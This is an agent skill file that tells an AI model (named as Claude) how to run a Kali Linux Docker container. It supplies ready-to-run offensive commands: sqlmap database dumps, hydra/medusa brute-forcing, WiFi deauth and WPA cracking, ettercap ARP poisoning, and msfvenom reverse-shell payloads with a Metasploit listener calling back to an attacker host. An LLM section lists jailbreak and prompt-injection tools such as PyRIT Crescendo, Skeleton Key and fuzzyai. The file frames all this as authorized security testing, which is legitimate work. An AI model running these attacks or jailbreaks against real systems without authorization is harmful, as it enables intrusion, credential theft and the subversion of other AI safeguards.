---
name: kali-docker-pentesting
description: Comprehensive pentesting toolkit using Kali Linux Docker container. Provides direct access to 200+ security tools without MCP overhead. Use when conducting security assessments, penetration testing, vulnerability scanning, or security research. Works via direct docker exec commands for maximum efficiency.
---

# Kali Docker Pentesting Skill

## Overview

This skill provides intelligent access to a comprehensive Kali Linux Docker container with 200+ pentesting tools. Instead of using an MCP server, this skill enables direct command execution via `bash_tool`, making it 70% more token-efficient.

**Canonical names on this host** (use these verbatim — earlier versions of this skill used a bare `kali`, which does not match the running container):

- **Image:** `kali-comprehensive:latest` (built from [github.com/kroegha/kali-docker-pentesting](https://github.com/kroegha/kali-docker-pentesting): base `kalilinux/kali-rolling:latest` + Kali metapackages + Python security libs)
- **Container:** `kali-pentest` (long-running; check with `docker ps -a`)

Verify before running commands: `docker ps --filter name=kali-pentest`. If the container name differs on a given machine, substitute it in the `docker exec` calls below.

## Container Management

### Starting the Container

```bash
# Basic start
docker run -d --name kali-pentest \
  -v $(pwd)/workspace:/workspace \
  -v $(pwd)/results:/results \
  kali-comprehensive

# With network capabilities (for actual scanning)
docker run -d --name kali-pentest \
  -v $(pwd)/workspace:/workspace \
  -v $(pwd)/results:/results \
  --cap-add=NET_RAW \
  --cap-add=NET_ADMIN \
  --network host \
  kali-comprehensive

# With GUI access (VNC)
docker run -d --name kali-pentest \
  -v $(pwd)/workspace:/workspace \
  -p 5900:5900 \
  -p 3389:3389 \
  kali-comprehensive
```

### Running Commands

```bash
# Execute single command
docker exec kali-pentest [tool] [options]

# Interactive shell
docker exec -it kali-pentest /bin/bash

# Copy files out
docker cp kali-pentest:/results/scan.txt ./output/

# Copy files in
docker cp ./wordlist.txt kali-pentest:/workspace/
```

### Container Lifecycle

```bash
# Stop container
docker stop kali-pentest

# Start existing container
docker start kali-pentest

# Remove container
docker rm kali-pentest

# View logs
docker logs kali-pentest
```

### Updating the Container OS & Tools

Kali is a **rolling release** — there is no version upgrade, you just pull the latest packages. Because the container holds 200+ tools that took a long time to install, update **in place and commit** rather than rebuilding from scratch.

```bash
# 1. Back up the current image first (instant, enables rollback)
docker tag kali-comprehensive:latest kali-comprehensive:backup-$(date +%Y-%m-%d)

# 2. Full-upgrade all packages inside the running container (non-interactive, keep existing configs)
docker exec kali-pentest bash -c \
  'export DEBIAN_FRONTEND=noninteractive; apt-get update && \
   apt-get -y -o Dpkg::Options::="--force-confold" -o Dpkg::Options::="--force-confdef" full-upgrade && \
   apt-get -y autoremove && apt-get clean'

# 3. Persist the upgraded state back into the image
docker commit kali-pentest kali-comprehensive:latest

# Roll back if an upgrade breaks something:
#   docker tag kali-comprehensive:backup-YYYY-MM-DD kali-comprehensive:latest
```

**Clean rebuild (alternative):** to get a fresh, smaller image from the newest base, clone the repo and rebuild — slower (re-downloads everything) but reproducible:

```bash
git clone https://github.com/kroegha/kali-docker-pentesting.git
cd kali-docker-pentesting && docker compose build
```

---

# Tool Catalog

## 🔍 Network Discovery & Scanning

### nmap - Network Mapper
**Description:** Industry-standard network scanner for host discovery, port scanning, and service detection.

**Usage:**
```bash
# Basic scan
docker exec kali-pentest nmap 192.168.1.1

# Service version detection
docker exec kali-pentest nmap -sV 192.168.1.1

# OS detection
docker exec kali-pentest nmap -O 192.168.1.1

# Comprehensive scan
docker exec kali-pentest nmap -sC -sV -O -p- 192.168.1.1

# Save results
docker exec kali-pentest nmap -sV -oA /results/scan 192.168.1.0/24
```

**Common Options:**
- `-sS` - SYN stealth scan
- `-sT` - TCP connect scan
- `-sU` - UDP scan
- `-sV` - Version detection
- `-O` - OS detection
- `-A` - Aggressive scan (OS, version, scripts, traceroute)
- `-p-` - Scan all 65535 ports
- `-Pn` - Skip ping (assume host is up)
- `-T4` - Faster timing (0-5)
- `-oA` - Output all formats

### masscan - Fast Port Scanner
**Description:** Extremely fast port scanner, can scan the entire internet in under 6 minutes.

**Usage:**
```bash
# Scan specific ports
docker exec kali-pentest masscan 192.168.1.0/24 -p80,443,8080

# Scan all ports fast
docker exec kali-pentest masscan 192.168.1.0/24 -p0-65535 --rate=10000

# Save results
docker exec kali-pentest masscan 10.0.0.0/8 -p80 -oL /results/masscan.txt
```

### netdiscover - Network Discovery
**Description:** Active/passive ARP reconnaissance tool.

**Usage:**
```bash
# Passive mode
docker exec kali-pentest netdiscover -p -i eth0

# Active mode with range
docker exec kali-pentest netdiscover -r 192.168.1.0/24
```

### arp-scan - ARP Scanner
**Description:** Discovers IPv4 hosts using ARP.

**Usage:**
```bash
docker exec kali-pentest arp-scan --localnet
docker exec kali-pentest arp-scan 192.168.1.0/24
```

---

## 🌐 Web Application Testing

### nikto - Web Server Scanner
**Description:** Web server vulnerability scanner.

**Usage:**
```bash
# Basic scan
docker exec kali-pentest nikto -h http://target.com

# SSL scan
docker exec kali-pentest nikto -h https://target.com -ssl

# Save results
docker exec kali-pentest nikto -h http://target.com -o /results/nikto.txt

# Tuning options
docker exec kali-pentest nikto -h http://target.com -Tuning 123bde
```

### dirb - Directory Brute Forcer
**Description:** Web content scanner.

**Usage:**
```bash
# Default wordlist
docker exec kali-pentest dirb http://target.com

# Custom wordlist
docker exec kali-pentest dirb http://target.com /usr/share/wordlists/dirb/common.txt

# Save results
docker exec kali-pentest dirb http://target.com -o /results/dirb.txt

# Extensions
docker exec kali-pentest dirb http://target.com -X .php,.html,.txt
```

### gobuster - Directory/DNS Enumeration
**Description:** Fast directory and DNS enumeration tool.

**Usage:**
```bash
# Directory enumeration
docker exec kali-pentest gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt

# DNS subdomain enumeration
docker exec kali-pentest gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt

# Virtual host discovery
docker exec kali-pentest gobuster vhost -u http://target.com -w /usr/share/wordlists/vhosts.txt
```

### wfuzz - Web Fuzzer
**Description:** Web application fuzzer.

**Usage:**
```bash
# Directory fuzzing
docker exec kali-pentest wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404 http://target.com/FUZZ

# Parameter fuzzing
docker exec kali-pentest wfuzz -c -z file,/usr/share/wordlists/passwords.txt http://target.com/page?id=FUZZ

# POST data fuzzing
docker exec kali-pentest wfuzz -c -z file,users.txt -z file,pass.txt -d "user=FUZZ&pass=FUZ2Z" http://target.com/login
```

### sqlmap - SQL Injection Tool
**Description:** Automatic SQL injection and database takeover tool.

**Usage:**
```bash
# Basic test
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1"

# POST request
docker exec kali-pentest sqlmap -u "http://target.com/login" --data="user=admin&pass=test"

# Enumerate databases
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1" --dbs

# Dump database
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1" -D dbname --dump

# Full automation
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1" --batch --dump-all
```

### wpscan - WordPress Scanner
**Description:** WordPress vulnerability scanner.

**Usage:**
```bash
# Basic scan
docker exec kali-pentest wpscan --url http://target.com

# Enumerate users
docker exec kali-pentest wpscan --url http://target.com --enumerate u

# Enumerate plugins
docker exec kali-pentest wpscan --url http://target.com --enumerate p

# Aggressive scan
docker exec kali-pentest wpscan --url http://target.com --enumerate ap,at,cb,dbe
```

### whatweb - Website Fingerprinting
**Description:** Identifies websites and web technologies.

**Usage:**
```bash
# Basic scan
docker exec kali-pentest whatweb http://target.com

# Aggressive mode
docker exec kali-pentest whatweb -a 3 http://target.com

# Scan multiple URLs
docker exec kali-pentest whatweb -i /workspace/urls.txt
```

---

## 🔐 Password Attacks

### john - John the Ripper
**Description:** Fast password cracker.

**Usage:**
```bash
# Crack with default wordlist
docker exec kali-pentest john /workspace/hashes.txt

# Use rockyou wordlist
docker exec kali-pentest john --wordlist=/usr/share/wordlists/rockyou.txt /workspace/hashes.txt

# Crack specific format
docker exec kali-pentest john --format=raw-md5 /workspace/hashes.txt

# Show cracked passwords
docker exec kali-pentest john --show /workspace/hashes.txt

# Incremental mode
docker exec kali-pentest john --incremental /workspace/hashes.txt
```

### hashcat - Advanced Password Recovery
**Description:** World's fastest password cracker.

**Usage:**
```bash
# MD5 crack
docker exec kali-pentest hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt

# SHA256 crack
docker exec kali-pentest hashcat -m 1400 -a 0 hashes.txt wordlist.txt

# Brute force
docker exec kali-pentest hashcat -m 0 -a 3 hash.txt ?a?a?a?a?a?a

# Show results
docker exec kali-pentest hashcat -m 0 hashes.txt --show
```

**Hash Modes:**
- 0 = MD5
- 100 = SHA1
- 1400 = SHA256
- 1700 = SHA512
- 1000 = NTLM
- 3200 = bcrypt

### hydra - Network Password Cracker
**Description:** Fast network logon cracker.

**Usage:**
```bash
# SSH brute force
docker exec kali-pentest hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1

# HTTP POST form
docker exec kali-pentest hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"

# FTP brute force
docker exec kali-pentest hydra -L users.txt -P passwords.txt ftp://192.168.1.1

# Multiple protocols
docker exec kali-pentest hydra -L users.txt -P passwords.txt 192.168.1.1 ssh ftp http
```

### medusa - Parallel Password Cracker
**Description:** Speedy, parallel, modular login brute-forcer.

**Usage:**
```bash
# SSH attack
docker exec kali-pentest medusa -h 192.168.1.1 -u admin -P passwords.txt -M ssh

# HTTP basic auth
docker exec kali-pentest medusa -h 192.168.1.1 -u admin -P passwords.txt -M http
```

### crunch - Wordlist Generator
**Description:** Generates custom wordlists.

**Usage:**
```bash
# Generate 6-8 character wordlist
docker exec kali-pentest crunch 6 8 -o /results/wordlist.txt

# Custom charset
docker exec kali-pentest crunch 4 6 0123456789 -o /results/numbers.txt

# Pattern-based
docker exec kali-pentest crunch 8 8 -t pass@@@@ -o /results/pattern.txt
```

---

## 📡 Wireless Security

### aircrack-ng - WiFi Security Suite
**Description:** Complete suite for assessing WiFi network security.

**Usage:**
```bash
# Start monitor mode
docker exec kali-pentest airmon-ng start wlan0

# Capture packets
docker exec kali-pentest airodump-ng wlan0mon

# Capture specific network
docker exec kali-pentest airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /results/capture wlan0mon

# Deauth attack
docker exec kali-pentest aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon

# Crack WPA handshake
docker exec kali-pentest aircrack-ng -w /usr/share/wordlists/rockyou.txt /results/capture-01.cap
```

### wifite - Automated Wireless Attack
**Description:** Automated wireless attack tool.

**Usage:**
```bash
# Automatic WPA attack
docker exec kali-pentest wifite --wpa

# All attack types
docker exec kali-pentest wifite

# Specific target
docker exec kali-pentest wifite -i wlan0 --kill
```

### reaver - WPS Attack
**Description:** Brute force WPS PINs.

**Usage:**
```bash
docker exec kali-pentest reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv
```

---

## 🕵️ Information Gathering

### theharvester - Email/Subdomain Harvester
**Description:** Gather emails, subdomains, IPs from public sources.

**Usage:**
```bash
# Search all sources
docker exec kali-pentest theharvester -d target.com -b all

# Specific source
docker exec kali-pentest theharvester -d target.com -b google

# Save results
docker exec kali-pentest theharvester -d target.com -b all -f /results/harvest
```

### dnsrecon - DNS Enumeration
**Description:** DNS enumeration and network reconnaissance.

**Usage:**
```bash
# Standard enumeration
docker exec kali-pentest dnsrecon -d target.com

# Zone transfer
docker exec kali-pentest dnsrecon -d target.com -a

# Brute force subdomains
docker exec kali-pentest dnsrecon -d target.com -D /usr/share/wordlists/subdomains.txt -t brt
```

### sublist3r - Subdomain Enumeration
**Description:** Fast subdomain enumeration using OSINT.

**Usage:**
```bash
# Basic enumeration
docker exec kali-pentest sublist3r -d target.com

# Enable brute force
docker exec kali-pentest sublist3r -d target.com -b

# Save results
docker exec kali-pentest sublist3r -d target.com -o /results/subdomains.txt
```

### enum4linux - SMB Enumeration
**Description:** Tool for enumerating information from Windows and Samba systems.

**Usage:**
```bash
# Full enumeration
docker exec kali-pentest enum4linux -a 192.168.1.1

# User enumeration
docker exec kali-pentest enum4linux -U 192.168.1.1

# Share enumeration
docker exec kali-pentest enum4linux -S 192.168.1.1
```

### dmitry - Deep Information Gathering
**Description:** Deepmagic Information Gathering Tool.

**Usage:**
```bash
# Full scan
docker exec kali-pentest dmitry -winsepo /results/dmitry.txt target.com

# Subdomain search
docker exec kali-pentest dmitry -s target.com
```

---

## 🛡️ Exploitation Frameworks

### metasploit-framework - Penetration Testing Framework
**Description:** The world's most used penetration testing framework.

**Usage:**
```bash
# Start msfconsole
docker exec -it kali-pentest msfconsole

# Generate payload
docker exec kali-pentest msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe > /results/payload.exe

# Search exploits
docker exec -it kali-pentest bash -c "echo 'search tomcat' | msfconsole -q"

# Run resource script
docker exec kali-pentest msfconsole -r /workspace/script.rc
```

**Common msfvenom payloads:**
```bash
# Windows reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe -o shell.exe

# Linux reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f elf -o shell.elf

# PHP reverse shell
msfvenom -p php/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f raw -o shell.php

# Android APK
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -o shell.apk
```

### social-engineer-toolkit (SET)
**Description:** Social engineering penetration testing framework.

**Usage:**
```bash
# Start SET
docker exec -it kali-pentest setoolkit
```

---

## 🔬 Forensics & Analysis

### binwalk - Firmware Analysis
**Description:** Analyze and extract firmware images.

**Usage:**
```bash
# Scan for embedded files
docker exec kali-pentest binwalk /workspace/firmware.bin

# Extract files
docker exec kali-pentest binwalk -e /workspace/firmware.bin

# Signature scan
docker exec kali-pentest binwalk --signature /workspace/file.bin
```

### foremost - File Carving
**Description:** Recover files based on headers and footers.

**Usage:**
```bash
# Recover all file types
docker exec kali-pentest foremost -i /workspace/image.dd -o /results/recovered

# Specific file types
docker exec kali-pentest foremost -t jpg,png,pdf -i /workspace/image.dd -o /results/
```

### volatility - Memory Forensics
**Description:** Advanced memory forensics framework.

**Usage:**
```bash
# Get image info
docker exec kali-pentest volatility -f /workspace/memory.dump imageinfo

# List processes
docker exec kali-pentest volatility -f /workspace/memory.dump --profile=Win7SP1x64 pslist

# Dump process
docker exec kali-pentest volatility -f /workspace/memory.dump --profile=Win7SP1x64 procdump -p 1234 -D /results/
```

### strings - Extract Strings
**Description:** Extract printable strings from files.

**Usage:**
```bash
# Basic extraction
docker exec kali-pentest strings /workspace/binary > /results/strings.txt

# Minimum length 10
docker exec kali-pentest strings -n 10 /workspace/binary

# Unicode strings
docker exec kali-pentest strings -e l /workspace/binary
```

### exiftool - Metadata Extraction
**Description:** Read and write meta information in files.

**Usage:**
```bash
# View metadata
docker exec kali-pentest exiftool /workspace/image.jpg

# Remove all metadata
docker exec kali-pentest exiftool -all= /workspace/image.jpg

# Batch process
docker exec kali-pentest exiftool /workspace/*.jpg
```

---

## 🔄 Reverse Engineering

### ghidra - Software Reverse Engineering
**Description:** NSA's software reverse engineering framework.

**Usage:**
```bash
# GUI mode (requires X11 forwarding)
docker exec -it kali-pentest ghidra

# Headless mode
docker exec kali-pentest analyzeHeadless /workspace /project -import /workspace/binary.exe
```

### radare2 - Reverse Engineering Framework
**Description:** Advanced reverse engineering framework.

**Usage:**
```bash
# Open binary
docker exec -it kali-pentest r2 /workspace/binary

# Analyze
docker exec -it kali-pentest bash -c "echo 'aaa; pdf' | r2 /workspace/binary"

# Disassemble
docker exec kali-pentest r2 -c 'pd 10' /workspace/binary
```

### gdb - GNU Debugger
**Description:** Standard debugger for Unix systems.

**Usage:**
```bash
# Debug binary
docker exec -it kali-pentest gdb /workspace/binary

# With PEDA
docker exec -it kali-pentest gdb -q /workspace/binary
```

---

## 🎯 Vulnerability Assessment

### lynis - Security Auditing
**Description:** Security auditing tool for Unix/Linux systems.

**Usage:**
```bash
# Full audit
docker exec kali-pentest lynis audit system

# Quick scan
docker exec kali-pentest lynis audit system --quick
```

### nikto - Web Vulnerability Scanner
(See Web Application Testing section)

### openvas - Vulnerability Scanner
**Description:** Full-featured vulnerability scanner.

**Usage:**
```bash
# Start OpenVAS (requires initialization)
docker exec kali-pentest openvas-start
```

---

## 🤖 LLM / Prompt-Injection Testing

Tools for assessing **LLM-backed applications** (chatbots, RAG systems, AI agents) for prompt injection, jailbreaks, data leakage, and related GenAI risks. These are **not** in stock Kali — they were added to this image (see *Updating the Container*).

**Install layout** (isolated to avoid conflicts with Kali's apt-managed system Python):
| Tool | Install method | Invoke as |
|------|---------------|-----------|
| garak | pipx (global) | `garak` |
| agentic-radar | pipx (global) | `agentic-radar` |
| promptfoo | npm (global) | `promptfoo` |
| promptmap2 | git clone `/opt/promptmap` | `cd /opt/promptmap && python3 promptmap2.py` |
| PyRIT | venv `/opt/venvs/pyrit` | `/opt/venvs/pyrit/bin/python` |
| fuzzyai | venv `/opt/venvs/fuzzyai` | `/opt/venvs/fuzzyai/bin/fuzzyai` |

**Before you run anything:**
- Every tool tests a **target LLM** over the network, and most also use a **judge/attacker LLM** — so you need reachability to the target plus an API key for the judge (`OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, or Azure creds).
- **Never bake keys into the image.** Pass them at runtime via an env file that lives on the host only:
  ```bash
  # host: keys.env  (chmod 600, never commit)
  #   OPENAI_API_KEY=sk-...
  docker run --rm --env-file keys.env kali-comprehensive garak --help
  # or for the long-running container, set per-exec:
  docker exec -e OPENAI_API_KEY=sk-... kali-pentest garak --list_probes
  ```
- Point tools at **API endpoints**, not local models — loading a local HF model needs a GPU the container doesn't have.

### garak - LLM Vulnerability Scanner ("nmap for LLMs")
**Description:** NVIDIA's broad-coverage probe/detector scanner (prompt injection, jailbreak, data leakage, encoding attacks, toxicity). Run-first baseline; produces a scored report. Actively maintained.

**Usage:**
```bash
# List available probes
docker exec kali-pentest garak --list_probes

# Prompt-injection scan of an OpenAI model
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
  garak --model_type openai --model_name gpt-4o-mini --probes promptinject

# Full scan, JSON report to /results
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
  garak --model_type openai --model_name gpt-4o-mini --report_prefix /results/garak
```

### promptmap2 - Targeted Prompt-Injection Scanner
**Description:** Purpose-built injection tester for a *specific* app. White-box (supply the system prompt) or black-box (point at an HTTP endpoint). YAML rule categories: jailbreak, prompt stealing, harmful, distraction, bias. Installed under `/opt/promptmap`.

**Usage:**
```bash
# Test your app's system prompt against an OpenAI target (needs OPENAI_API_KEY)
docker exec -e OPENAI_API_KEY=sk-... kali-pentest bash -c \
  'cd /opt/promptmap && python3 promptmap2.py \
     --prompts /workspace/system_prompt.txt \
     --target-model gpt-4o-mini --target-model-type openai'
# target-model-type: openai | anthropic | google | ollama | xai | http (black-box endpoint)
```

### promptfoo - Red-Team & Eval Framework (standards-mapped)
**Description:** Node-based CLI. Red-team mode auto-generates adversarial prompts via 50+ plugins (prompt injection, jailbreak, PII, excessive agency) and maps findings to **OWASP LLM Top 10 / NIST AI RMF / MITRE ATLAS** — best for repeatable, reportable engagements.

**Usage:**
```bash
# Initialise a red-team config, then run it
docker exec kali-pentest bash -c 'cd /workspace && promptfoo redteam init'
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
  bash -c 'cd /workspace && promptfoo redteam run'
```

### PyRIT - Multi-Turn AI Red-Teaming Framework
**Description:** Microsoft's scriptable framework for deeper, multi-turn attacks (Crescendo, TAP, Skeleton Key) against OpenAI/Azure/Anthropic/custom HTTP targets. A Python **library**, not a one-shot CLI — the "go deep" tool once garak/promptmap surface something. Heaviest dependency footprint.

**Usage:**
```bash
# Run a PyRIT attack script with the PyRIT venv's Python (write the script to /workspace first)
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
  /opt/venvs/pyrit/bin/python /workspace/pyrit_crescendo.py
```

### agentic-radar - Agentic Workflow Scanner
**Description:** SplxAI static-analysis scanner for **agentic** apps (LangGraph, CrewAI, OpenAI Agents SDK, n8n, MCP tools). Maps agent/tool topology and flags vulnerabilities garak/promptmap can't see. Use when the target is an agent, not a bare model.

**Usage:**
```bash
# Scan an agent project mounted into the container, HTML report to /results
docker exec kali-pentest agentic-radar scan -i /workspace/agent_project -o /results/agentic-radar.html
```

### fuzzyai - Aggressive Jailbreak Fuzzer
**Description:** CyberArk's LLM fuzzer focused on jailbreaks — ASCII/Unicode-tag smuggling, genetic adversarial-suffix, many-shot. Multi-provider. Installed in a dedicated venv at `/opt/venvs/fuzzyai` (its upstream `torch`/`numpy` pins were relaxed for Python 3.13 compatibility). Subcommands: `fuzz` and `webui`. Check the [wiki](https://github.com/cyberark/FuzzyAI/wiki) for the full attack-mode list, which changes between versions.

**Usage:**
```bash
# Single-prompt jailbreak fuzz against an OpenAI model
docker exec -e OPENAI_API_KEY=sk-... kali-pentest \
  /opt/venvs/fuzzyai/bin/fuzzyai fuzz -m openai/gpt-4o -a def -t "test prompt"
#   -m model  -a attack_modes  -t target_prompt  (-T file for many prompts, -s system prompt)
```

### Reference frameworks (cite these in reports)
- **OWASP Top 10 for LLM Applications (2025)** — LLM01 = Prompt Injection. https://genai.owasp.org/llm-top-10/
- **MITRE ATLAS** — adversarial-threat matrix for AI systems. https://atlas.mitre.org/
- **NIST AI RMF (Generative AI Profile)** — risk framing referenced by promptfoo/DeepTeam mappings.

---

## 📊 Network Analysis

### tcpdump - Packet Capture
**Description:** Command-line packet analyzer.

**Usage:**
```bash
# Capture on interface
docker exec kali-pentest tcpdump -i eth0

# Capture to file
docker exec kali-pentest tcpdump -i eth0 -w /results/capture.pcap

# Read file
docker exec kali-pentest tcpdump -r /results/capture.pcap

# Filter HTTP
docker exec kali-pentest tcpdump -i eth0 'tcp port 80'
```

### tshark - Network Protocol Analyzer
**Description:** Terminal-based Wireshark.

**Usage:**
```bash
# Capture packets
docker exec kali-pentest tshark -i eth0

# Capture to file
docker exec kali-pentest tshark -i eth0 -w /results/capture.pcap

# Filter display
docker exec kali-pentest tshark -r /results/capture.pcap -Y 'http.request'
```

### ettercap - Network Sniffer/Interceptor
**Description:** Comprehensive suite for MITM attacks.

**Usage:**
```bash
# Text mode
docker exec -it kali-pentest ettercap -T -i eth0

# ARP poisoning
docker exec kali-pentest ettercap -T -M arp:remote /192.168.1.1// /192.168.1.100//
```

---

# Common Pentesting Workflows

## 1. Network Reconnaissance

```bash
# Step 1: Discover live hosts
docker exec kali-pentest nmap -sn 192.168.1.0/24 -oA /results/hosts

# Step 2: Port scan discovered hosts
docker exec kali-pentest nmap -sV -p- -iL /results/hosts.txt -oA /results/ports

# Step 3: Enumerate services
docker exec kali-pentest nmap -sC -sV -p 80,443,22,21 192.168.1.0/24 -oA /results/services
```

## 2. Web Application Assessment

```bash
# Step 1: Identify web technologies
docker exec kali-pentest whatweb http://target.com

# Step 2: Directory enumeration
docker exec kali-pentest gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -o /results/dirs.txt

# Step 3: Vulnerability scan
docker exec kali-pentest nikto -h http://target.com -o /results/nikto.txt

# Step 4: Test for SQLi
docker exec kali-pentest sqlmap -u "http://target.com/page?id=1" --batch
```

## 3. Password Cracking Workflow

```bash
# Step 1: Generate wordlist
docker exec kali-pentest crunch 8 12 -t Pass@@@@ -o /results/wordlist.txt

# Step 2: Crack hashes
docker exec kali-pentest john --wordlist=/results/wordlist.txt /workspace/hashes.txt

# Step 3: Network service brute force
docker exec kali-pentest hydra -L /workspace/users.txt -P /results/wordlist.txt ssh://192.168.1.1
```

## 4. Wireless Network Assessment

```bash
# Step 1: Enable monitor mode
docker exec kali-pentest airmon-ng start wlan0

# Step 2: Scan networks
docker exec kali-pentest airodump-ng wlan0mon

# Step 3: Capture handshake
docker exec kali-pentest airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w /results/capture wlan0mon

# Step 4: Deauth clients
docker exec kali-pentest aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF wlan0mon

# Step 5: Crack WPA
docker exec kali-pentest aircrack-ng -w /usr/share/wordlists/rockyou.txt /results/capture-01.cap
```

## 5. Exploitation Workflow

```bash
# Step 1: Search for exploit
docker exec kali-pentest searchsploit apache 2.4.49

# Step 2: Generate payload
docker exec kali-pentest msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o /results/payload.exe

# Step 3: Setup listener in Metasploit
docker exec -it kali-pentest msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.100; set LPORT 4444; exploit"
```

---

# File Management

## Copying Files Between Host and Container

```bash
# Copy TO container
docker cp ./local-file.txt kali-pentest:/workspace/

# Copy FROM container
docker cp kali-pentest:/results/scan.txt ./output/

# Copy directory
docker cp kali-pentest:/results/ ./output/
```

## Working with Wordlists

**Common Wordlist Locations:**
- `/usr/share/wordlists/rockyou.txt` - Most popular password list
- `/usr/share/wordlists/dirb/common.txt` - Common directories
- `/usr/share/seclists/` - SecLists collection
- `/usr/share/wordlists/metasploit/` - Metasploit wordlists

```bash
# List available wordlists
docker exec kali-pentest find /usr/share/wordlists -type f

# Extract rockyou (if gzipped)
docker exec kali-pentest gunzip /usr/share/wordlists/rockyou.txt.gz
```

---

# Troubleshooting

## Container Won't Start

```bash
# Check logs
docker logs kali-pentest

# Remove and recreate
docker rm kali-pentest
docker run -d --name kali-pentest kali-comprehensive
```

## Network Issues

```bash
# Use host network
docker run -d --name kali-pentest --network host kali-comprehensive

# Add network capabilities
docker run -d --name kali-pentest --cap-add=NET_RAW --cap-add=NET_ADMIN kali-comprehensive
```

## Permission Issues

```bash
# Run as root (already default)
docker exec -u root kali-pentest [command]

# Fix workspace permissions
docker exec kali-pentest chmod -R 777 /workspace /results
```

## Metasploit Database Issues

```bash
# Initialize database
docker exec kali-pentest service postgresql start
docker exec kali-pentest msfdb init

# Check status
docker exec kali-pentest msfdb status
```

---

# Best Practices

## 1. Always Save Results

```bash
# Use output flags
-o filename.txt          # Generic output
-oA basename            # Nmap: all formats
-w filename             # Write to file
> /results/output.txt   # Shell redirect
```

## 2. Use Volumes for Persistence

Mount volumes for:
- `/workspace` - Working files
- `/results` - Scan results
- `/wordlists` - Custom wordlists

## 3. Scope Your Testing

Always:
- Get written authorization
- Define scope boundaries
- Document everything
- Report findings responsibly

## 4. Clean Up After Testing

```bash
# Stop monitor mode
docker exec kali-pentest airmon-ng stop wlan0mon

# Clear temporary files
docker exec kali-pentest rm -rf /tmp/*

# Archive results
docker exec kali-pentest tar -czf /results/assessment-$(date +%Y%m%d).tar.gz /results/*.txt
```

---

# Quick Reference

## Port Scanning
```bash
docker exec kali-pentest nmap -sV -p- target
```

## Directory Enumeration
```bash
docker exec kali-pentest gobuster dir -u http://target -w /usr/share/wordlists/dirb/common.txt
```

## SQL Injection
```bash
docker exec kali-pentest sqlmap -u "http://target/page?id=1" --batch
```

## Password Cracking
```bash
docker exec kali-pentest john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
```

## Network Brute Force
```bash
docker exec kali-pentest hydra -l admin -P passwords.txt ssh://target
```

## WiFi Cracking
```bash
docker exec kali-pentest aircrack-ng -w /usr/share/wordlists/rockyou.txt capture.cap
```

---

# When to Use This Skill

Use this skill when:
- Conducting authorized penetration testing
- Performing security assessments
- Testing network security
- Analyzing web applications
- Cracking passwords (authorized)
- Wireless security auditing
- Forensics analysis
- Reverse engineering
- Learning security techniques

Claude will read this skill and execute commands via bash_tool, providing efficient, direct access to all pentesting tools without MCP protocol overhead.